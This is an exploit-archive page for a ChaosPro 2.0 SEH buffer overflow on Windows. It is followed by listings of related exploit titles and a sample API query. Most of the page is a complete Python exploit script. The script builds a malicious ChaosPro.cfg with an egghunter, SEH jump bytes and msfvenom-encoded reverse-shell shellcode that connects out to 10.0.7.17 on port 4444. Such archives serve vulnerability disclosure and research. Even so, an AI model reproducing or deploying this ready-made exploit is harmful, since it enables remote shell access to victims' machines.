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"ChaosPro 2.0 - SEH Buffer Overflow"

Author

"Jonathan Crosby"

Platform

windows

Release date

2019-09-02

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#!C:\Python27\python.exe

# Title     : ChaosPro 2.0
# Twitter   : @securitychops
# Blog Post : https://securitychops.com/2019/08/24/retro-exploit-series-episode-one-chaospro-3-1.html

#this needs to be a backwards jump to give us room to call stack jump code
jmpback80         = "\x40\x75\x80\x75"
jmpforward06      = "\x40\x75\x06\x75"

# our egghunter shellcode
egghunter = ( 
"\x66\x81\xca\xff\x0f\x42\x52\x31\xdb\x43"
"\x43\x53\x58\xcd\x2e\x3c\x05\x5a\x74\xec"
"\xb8\x54\x30\x30\x57\x89\xd7\xaf\x75\xe7"
"\xaf\x75\xe4\xff\xe7"
)

# our egg!
payload = "T00WT00W"

#the payload
payload += (
# msfvenom -p windows/shell_reverse_tcp LHOST=10.0.7.17 
# LPORT=4444 -e x86/alpha_upper -a x86 --platform windows -f c -b '\x00'
"\x89\xe1\xdb\xd7\xd9\x71\xf4\x5e\x56\x59\x49\x49\x49\x49\x43"
"\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56\x58\x34"
"\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41\x42\x41\x41"
"\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x58"
"\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4b\x58\x4c\x42\x53\x30"
"\x33\x30\x43\x30\x55\x30\x4b\x39\x4b\x55\x46\x51\x4f\x30\x32"
"\x44\x4c\x4b\x56\x30\x56\x50\x4c\x4b\x46\x32\x54\x4c\x4c\x4b"
"\x50\x52\x45\x44\x4c\x4b\x34\x32\x37\x58\x44\x4f\x4f\x47\x30"
"\x4a\x36\x46\x30\x31\x4b\x4f\x4e\x4c\x47\x4c\x45\x31\x43\x4c"
"\x44\x42\x56\x4c\x47\x50\x4f\x31\x58\x4f\x34\x4d\x45\x51\x39"
"\x57\x4b\x52\x4c\x32\x56\x32\x31\x47\x4c\x4b\x46\x32\x32\x30"
"\x4c\x4b\x50\x4a\x47\x4c\x4c\x4b\x30\x4c\x32\x31\x52\x58\x4b"
"\x53\x31\x58\x53\x31\x4e\x31\x36\x31\x4c\x4b\x50\x59\x37\x50"
"\x45\x51\x58\x53\x4c\x4b\x47\x39\x35\x48\x4d\x33\x37\x4a\x30"
"\x49\x4c\x4b\x57\x44\x4c\x4b\x53\x31\x49\x46\x46\x51\x4b\x4f"
"\x4e\x4c\x39\x51\x58\x4f\x54\x4d\x45\x51\x4f\x37\x36\x58\x4d"
"\x30\x33\x45\x4a\x56\x43\x33\x43\x4d\x4c\x38\x57\x4b\x43\x4d"
"\x56\x44\x42\x55\x5a\x44\x31\x48\x4c\x4b\x46\x38\x31\x34\x35"
"\x51\x4e\x33\x35\x36\x4c\x4b\x34\x4c\x30\x4b\x4c\x4b\x56\x38"
"\x45\x4c\x55\x51\x38\x53\x4c\x4b\x54\x44\x4c\x4b\x45\x51\x38"
"\x50\x4d\x59\x51\x54\x46\x44\x56\x44\x31\x4b\x31\x4b\x43\x51"
"\x31\x49\x50\x5a\x30\x51\x4b\x4f\x4b\x50\x51\x4f\x31\x4f\x51"
"\x4a\x4c\x4b\x32\x32\x4a\x4b\x4c\x4d\x31\x4d\x42\x48\x47\x43"
"\x57\x42\x53\x30\x55\x50\x35\x38\x53\x47\x43\x43\x30\x32\x31"
"\x4f\x31\x44\x33\x58\x30\x4c\x33\x47\x57\x56\x54\x47\x4b\x4f"
"\x49\x45\x48\x38\x4a\x30\x35\x51\x43\x30\x35\x50\x56\x49\x59"
"\x54\x36\x34\x36\x30\x52\x48\x56\x49\x4b\x30\x52\x4b\x35\x50"
"\x4b\x4f\x59\x45\x30\x50\x56\x30\x56\x30\x46\x30\x51\x50\x36"
"\x30\x57\x30\x46\x30\x55\x38\x4a\x4a\x54\x4f\x39\x4f\x4b\x50"
"\x4b\x4f\x39\x45\x4d\x47\x42\x4a\x35\x55\x52\x48\x45\x5a\x53"
"\x30\x33\x37\x34\x51\x52\x48\x45\x52\x53\x30\x54\x51\x31\x4c"
"\x4d\x59\x5a\x46\x32\x4a\x52\x30\x50\x56\x46\x37\x32\x48\x5a"
"\x39\x59\x35\x54\x34\x43\x51\x4b\x4f\x39\x45\x4d\x55\x49\x50"
"\x33\x44\x44\x4c\x4b\x4f\x30\x4e\x44\x48\x43\x45\x5a\x4c\x35"
"\x38\x4c\x30\x48\x35\x4f\x52\x36\x36\x4b\x4f\x49\x45\x55\x38"
"\x52\x43\x52\x4d\x52\x44\x43\x30\x4b\x39\x4b\x53\x56\x37\x46"
"\x37\x31\x47\x50\x31\x4a\x56\x33\x5a\x42\x32\x51\x49\x46\x36"
"\x4b\x52\x4b\x4d\x53\x56\x4f\x37\x51\x54\x57\x54\x37\x4c\x53"
"\x31\x43\x31\x4c\x4d\x50\x44\x31\x34\x34\x50\x58\x46\x55\x50"
"\x30\x44\x31\x44\x30\x50\x30\x56\x50\x56\x50\x56\x30\x46\x36"
"\x36\x50\x4e\x31\x46\x50\x56\x50\x53\x31\x46\x43\x58\x52\x59"
"\x58\x4c\x47\x4f\x4b\x36\x4b\x4f\x49\x45\x4d\x59\x4d\x30\x50"
"\x4e\x30\x56\x57\x36\x4b\x4f\x36\x50\x45\x38\x44\x48\x4c\x47"
"\x35\x4d\x45\x30\x4b\x4f\x49\x45\x4f\x4b\x5a\x50\x48\x35\x59"
"\x32\x30\x56\x42\x48\x4e\x46\x4a\x35\x4f\x4d\x4d\x4d\x4b\x4f"
"\x4e\x35\x37\x4c\x54\x46\x53\x4c\x54\x4a\x4d\x50\x4b\x4b\x4b"
"\x50\x52\x55\x33\x35\x4f\x4b\x31\x57\x54\x53\x54\x32\x32\x4f"
"\x43\x5a\x33\x30\x31\x43\x4b\x4f\x4e\x35\x41\x41"
)

#line containing our payload
line_start = "Username "
line_start += payload + "\n"

#line with our overflow
line_start += "ProjectPath "
junk = line_start

junk += "A" * (2705 - len(jmpforward06) - len(jmpback80) - len(egghunter))

# our egghunter ... 
junk += egghunter

# First Jump Backwards 0xFF - 0x80 bytes (0x7F or 127)
junk += jmpforward06
junk += jmpback80

#seh address for pop, pop and ret with a 0x00 at the end ... 
junk += "\x50\x49\x40"

# write the evil file
with open('C:\\Documents and Settings\\Administrator\\My Documents\\Downloads\\cpro20\\ChaosPro.cfg', 'w') as the_file:
    the_file.write(junk)
Release Date Title Type Platform Author
2019-09-13 "Folder Lock 7.7.9 - Denial of Service" dos windows Achilles
2019-09-12 "Microsoft DirectWrite - Out-of-Bounds Read in sfac_GetSbitBitmap While Processing TTF Fonts" dos windows "Google Security Research"
2019-09-12 "Microsoft DirectWrite - Invalid Read in SplicePixel While Processing OTF Fonts" dos windows "Google Security Research"
2019-09-10 "Windows 10 - UAC Protection Bypass Via Windows Store (WSReset.exe) and Registry (Metasploit)" local windows Metasploit
2019-09-10 "Windows 10 - UAC Protection Bypass Via Windows Store (WSReset.exe) (Metasploit)" local windows Metasploit
2019-09-02 "Kaseya VSA agent 9.5 - Privilege Escalation" local windows NF
2019-09-02 "ChaosPro 3.1 - SEH Buffer Overflow" local windows "Jonathan Crosby"
2019-09-02 "ChaosPro 2.1 - SEH Buffer Overflow" local windows "Jonathan Crosby"
2019-09-02 "ChaosPro 2.0 - SEH Buffer Overflow" local windows "Jonathan Crosby"
2019-08-30 "VX Search Enterprise 10.4.16 - 'User-Agent' Denial of Service" dos windows "James Chamberlain"
2019-08-30 "Asus Precision TouchPad 11.0.0.25 - Denial of Service" dos windows "Athanasios Tserpelis"
2019-08-30 "Easy MP3 Downloader 4.7.8.8 - 'Unlock Code' Denial of Service" dos windows "Mohan Ravichandran_ Snazzy Sanoj"
2019-08-30 "SQL Server Password Changer 1.90 - Denial of Service" dos windows "Velayutham Selvaraj_ Praveen Thiyagarayam"
2019-08-28 "Outlook Password Recovery 2.10 - Denial of Service" dos windows "Velayutham Selvaraj_ Praveen Thiyagarayam"
2019-08-26 "Windows 10 - SET_REPARSE_POINT_EX Mount Point Security Feature Bypass" local windows "Google Security Research"
2019-08-26 "LSoft ListServ < 16.5-2018a - Cross-Site Scripting" webapps windows MTK
2019-08-19 "RAR Password Recovery 1.80 - 'User Name and Registration Code' Denial of Service" dos windows Achilles
2019-08-15 "Microsoft Windows Text Services Framework MSCTF - Multiple Vulnerabilities" local windows "Google Security Research"
2019-08-15 "Adobe Acrobat Reader DC for Windows - Double Free due to Malformed JP2 Stream" dos windows "Google Security Research"
2019-08-15 "Adobe Acrobat Reader DC for Windows - free() of Uninitialized Pointer due to Malformed JBIG2Globals Stream" dos windows "Google Security Research"
2019-08-15 "Adobe Acrobat Reader DC for Windows - Heap-Based Buffer Overflow due to Malformed JP2 Stream" dos windows "Google Security Research"
2019-08-15 "Adobe Acrobat Reader DC for Windows - Heap-Based Memory Corruption due to Malformed TTF Font" dos windows "Google Security Research"
2019-08-15 "Adobe Acrobat Reader DC for Windows - Heap-Based Buffer Overflow in CoolType.dll" dos windows "Google Security Research"
2019-08-15 "Adobe Acrobat Reader DC for Windows - Heap-Based Buffer Overflow due to Malformed Font Stream" dos windows "Google Security Research"
2019-08-15 "Adobe Acrobat Reader DC for Windows - Static Buffer Overflow due to Malformed Font Stream" dos windows "Google Security Research"
2019-08-15 "Adobe Acrobat Reader DC for Windows - Heap-Based Buffer Overflow While Processing Malformed PDF" dos windows "Google Security Research"
2019-08-15 "Adobe Acrobat Reader DC for Windows - Use-After-Free due to Malformed JP2 Stream" dos windows "Google Security Research"
2019-08-15 "Adobe Acrobat Reader DC for Windows - Heap-Based Out-of-Bounds read due to Malformed JP2 Stream" dos windows "Google Security Research"
2019-08-15 "Microsoft Font Subsetting - DLL Heap-Based Out-of-Bounds read in FixSbitSubTableFormat1" dos windows "Google Security Research"
2019-08-15 "Microsoft Font Subsetting - DLL Heap Corruption in MakeFormat12MergedGlyphList" dos windows "Google Security Research"
Release Date Title Type Platform Author
2019-09-02 "ChaosPro 3.1 - SEH Buffer Overflow" local windows "Jonathan Crosby"
2019-09-02 "ChaosPro 2.1 - SEH Buffer Overflow" local windows "Jonathan Crosby"
2019-09-02 "ChaosPro 2.0 - SEH Buffer Overflow" local windows "Jonathan Crosby"
import requests
response = requests.get('https://www.nmmapper.com/api/exploitdetails/47332/?format=json')
                        {"url": "https://www.nmmapper.com/api/exploitdetails/47332/?format=json", "download_file": "https://www.nmmapper.com/st/exploitdetails/47332/41692/chaospro-20-seh-buffer-overflow/download/", "exploit_id": "47332", "exploit_description": "\"ChaosPro 2.0 - SEH Buffer Overflow\"", "exploit_date": "2019-09-02", "exploit_author": "\"Jonathan Crosby\"", "exploit_type": "local", "exploit_platform": "windows", "exploit_port": null}
                    

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